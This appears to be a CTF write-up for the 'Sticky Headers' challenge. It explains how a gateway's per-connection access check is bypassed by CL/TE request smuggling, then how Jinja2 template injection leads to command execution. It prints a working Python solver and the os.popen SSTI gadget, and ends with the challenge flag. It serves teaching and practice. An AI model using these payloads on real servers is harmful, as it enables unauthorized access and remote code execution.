Neven Marić
FortID 2026

WebFortID 2026

Sticky Headers

A front gateway only checks its staff ACL on the first request of a keep-alive connection, so smuggling a second request behind an ambiguous Content-Length/Transfer-Encoding pair reaches a hidden Jinja2 preview that is vulnerable to SSTI.

  • request-smuggling
  • http-desync
  • ssti
  • jinja2
  • rce

What this one teaches

  • An access check applied once per connection instead of once per request is bypassable by HTTP pipelining or request smuggling (putting a second request's bytes behind the first so both are read off the same socket).
  • When a request carries both Content-Length and a non-canonical Transfer-Encoding, which header a server trusts decides where it thinks the body ends, and a mismatch between a gateway and its backend is a desync primitive.
  • robots.txt disallow entries describe routes that exist; they do not protect them, and they are a reliable way to find a hidden endpoint.
  • Rendering untrusted input through a real template engine rather than treating it as data gives an attacker server-side template injection, and Jinja2's globals reach os.popen from ordinary built-ins.

Task description

The “Sticky Sweets” ordering service is fronted by a delivery gateway. A public shop is reachable by everyone, but a staff template preview is meant to remain private. The gateway supports an older courier protocol for compatibility, and content can be described using more than one encoding. The recipe is stored in a file named recipe.txt somewhere on the staff system.

A note on what I could verify

The handout ships only the solver script, with no gateway or backend source to read, so the behaviour of the gateway and the Python backend below is what I inferred from black-box probing, preserved in the solver’s structure and comments. The one piece reproducible without the live service is the Jinja2 injection at the end, which I demonstrated locally.

Mapping the service

The root page is a candy order form, and its script sets X-Client-Version: 2, matching a page hint that current couriers use delivery mode 2. Probing paths turns up a tell:

Request Status Notable
GET / 200 Connection: keep-alive
GET /nope 404 Connection: keep-alive
GET /staff/preview 403 no Connection header

The 403 is served by a different code path than the ordinary 200 and 404 responses, because it drops the keep-alive header the others carry. That is the signature of a front gateway rejecting /staff/* before a request ever reaches the backend. The usual path-normalization tricks (/./staff/preview, //staff/preview, percent-encoded slashes, a trailing slash, a null byte) do not get past the ACL.

Finding the desync

Testing the raw connection shows the gateway advertises keep-alive, but when two requests arrive in separate TCP packets it only ever answers the first. When a second request’s bytes are already sitting in the buffer behind a first request whose declared body length the gateway has fully consumed, it loops and serves that pipelined request on the same connection.

The useful observation is what happens to the ACL. Sent as that pipelined second request, /staff/preview comes back 404 instead of 403, which means the ACL did not run at all. The gateway makes its authorization decision once, on the first request of the connection, and that decision then applies to everything pipelined behind it. The access check is sticky to the connection, which is where the task’s name comes from.

Request smuggling and HTTP desync, for a reader who has not met them

HTTP keep-alive sends several requests down one TCP connection back to back. Each request declares how long its body is, so the server knows where one request ends and the next begins. A desync is any disagreement about where that boundary sits.

Two headers can declare a body length. Content-Length gives a byte count. Transfer-Encoding: chunked says the body arrives in length-prefixed chunks ending in a zero-length chunk. A request should never carry both, and the specification says to prefer Transfer-Encoding and reject the mix, but real servers disagree in practice. If a front proxy and a backend resolve an ambiguous request to different boundaries, the proxy forwards bytes that the backend reads as the start of a second, separate request. Those smuggled bytes never went through whatever the proxy does on a fresh request, including, here, the access check.

Pipelining is the benign cousin: legitimately sending request two’s bytes right after request one’s on the same socket. This gateway’s flaw is that pipelining alone is enough, because it only authorizes the first request and forwards the rest unchecked. The ambiguous framing below is just the reliable way to control exactly where the first request ends and the smuggled one begins.

Building the smuggled request

To place a second request precisely, I used the page’s other hint, about an older courier protocol and more than one encoding, which points at a request that sets both Content-Length and Transfer-Encoding:

POST /order HTTP/1.1
Host: ...
X-Client-Version: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: identity

0\r\n\r\n
<SECOND REQUEST HERE>

The gateway treats only Transfer-Encoding: chunked specially. Any other value, identity included, makes it fall back to Content-Length. With Content-Length: 5, it reads exactly 0\r\n\r\n as the body of the benign POST /order, answers that request, and leaves whatever follows in the buffer as a second request that inherits the connection’s already-authorized state.

Why identity specifically works

The gateway honours Transfer-Encoding only when the value is exactly chunked. identity, xchunked, a stray space before the colon, header folding, or a second Transfer-Encoding that is not chunked all make it drop back to Content-Length. Setting Content-Length: 5 then makes it consume only 0\r\n\r\n, leaving the smuggled request pipelined behind the authorized first one. This is the standard TE-fooling half of a CL/TE desync, read off the solver’s framing rather than from gateway source.

Finding the hidden route

Fuzzing paths through the bypass, /robots.txt gave away the shape of the target:

User-agent: *
# Staff preview accepts a form field named message.
Disallow: /staff/preview

/staff/preview takes a POST with a message form field. Sending that through the smuggling primitive reaches the real backend, a Python BaseHTTPServer speaking HTTP/1.0, which renders message through a template engine:

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.12.15
...
<h1>Staff template preview</h1>
<div class="preview">hello</div>

From preview to code execution

Posting message={{7*7}} renders 49, which marks Jinja2 server-side template injection: the input is compiled and run as template code rather than shown as data. A few other template syntaxes (${7*7}, {7*7}) come back echoed literally, ruling out Mako, Tornado and plain str.format.

Jinja2’s default environment exposes __globals__ on any function reachable from its built-ins, and that reaches the os module. The gadget the solver uses walks from the cycler built-in into its module globals and calls os.popen:

{{ cycler.__init__.__globals__.os.popen("id").read() }}
  -> uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

{{ cycler.__init__.__globals__.os.popen("pwd; ls -la").read() }}
  -> /challenge ... src/

From there a find located the file at /opt/candy/recipe.txt (a decoy copy also sat at /tmp/recipe.txt), and reading it returned the flag.

The solver

The full chain, from TCP connection through the smuggled request to the injected command, is the verbatim core of solve.py:

def smuggle(second_request: str) -> bytes:
    gate = (f"POST /order HTTP/1.1\r\nHost: {HOST}\r\nX-Client-Version: 1\r\n"
            f"Content-Type: application/x-www-form-urlencoded\r\n"
            f"Content-Length: 5\r\nTransfer-Encoding: identity\r\n\r\n")
    raw = gate.encode() + b"0\r\n\r\n" + second_request.encode()
    ss = conn(); ss.sendall(raw); d = recv(ss); ss.close()
    return d

def rce(cmd):
    msg = '{{ cycler.__init__.__globals__.os.popen("%s").read() }}' % cmd
    body = "message=" + urllib.parse.quote(msg)
    req = (f"POST /staff/preview HTTP/1.1\r\nHost: {HOST}\r\nX-Client-Version: 1\r\n"
           f"Content-Type: application/x-www-form-urlencoded\r\n"
           f"Content-Length: {len(body)}\r\n\r\n{body}")
    return smuggle(req)   # parse the 2nd (HTTP/1.0 backend) response

Running it with cat /opt/candy/recipe.txt as the command returned the flag.

Verification

The injection end is reproducible, and I ran it. On Jinja2, Template("{{7*7}}").render() returns 49, the solver’s exact gadget {{ cycler.__init__.__globals__.os.popen("...").read() }} runs the shell command and returns its output (I used a harmless echo in place of the live command), and ${7*7} and {7*7} render literally, which is what rules out the other engines. That confirms the SSTI primitive and the choice of gadget independently of the server.

The gateway and smuggling behaviour is inferred from the solver, since the handout has no gateway or backend source and the task needs a live, stateful connection. The flag in the frontmatter is the one the live run reported from reading /opt/candy/recipe.txt.

The flagRevealFortID{1_C4NT_5H4K3_TH15_H34D3R_c45c2224ed}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.